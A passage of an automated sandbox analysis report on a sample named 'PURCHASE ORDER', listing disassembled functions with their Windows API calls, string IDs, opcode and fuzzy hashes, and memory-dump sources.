                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend_wcslen
                                                                          • String ID: ComboBox$ListBox
                                                                          • API String ID: 455545452-1403004172
                                                                          • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                          • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                                                                          • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                                                                          • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                                                                          Function 00461774 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _strncmp
                                                                          • String ID: ,$UTF8)
                                                                          • API String ID: 909875538-2632631837
                                                                          • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                          • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                                                                          • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                                                                          • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                                                                          Function 00461772 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: _strncmp
                                                                          • String ID: ,$UTF8)
                                                                          • API String ID: 909875538-2632631837
                                                                          • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                          • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                                                                          • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                                                                          • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                                                                          Function 004560AD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                                                            • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                          • wsprintfW.USER32 ref: 004560E9
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend_mallocwsprintf
                                                                          • String ID: %d/%02d/%02d
                                                                          • API String ID: 1262938277-328681919
                                                                          • Opcode ID: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                          • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                                                                          • Opcode Fuzzy Hash: 5e9390f3fa6d631e890f8db483ee3f325bf10843f83bb080d9b0d170336394c6
                                                                          • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                                                                          Function 00442262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                          • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FindMessagePostSleepWindow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 529655941-2988720461
                                                                          • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                          • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                          • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                          • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                          Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                          • PostMessageW.USER32(00000000), ref: 00442247
                                                                            • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: FindMessagePostSleepWindow
                                                                          • String ID: Shell_TrayWnd
                                                                          • API String ID: 529655941-2988720461
                                                                          • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                          • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                          • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                          • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                          Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                            • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Message_doexit
                                                                          • String ID: AutoIt$Error allocating memory.
                                                                          • API String ID: 1993061046-4017498283
                                                                          • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                          • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                          • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                          • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E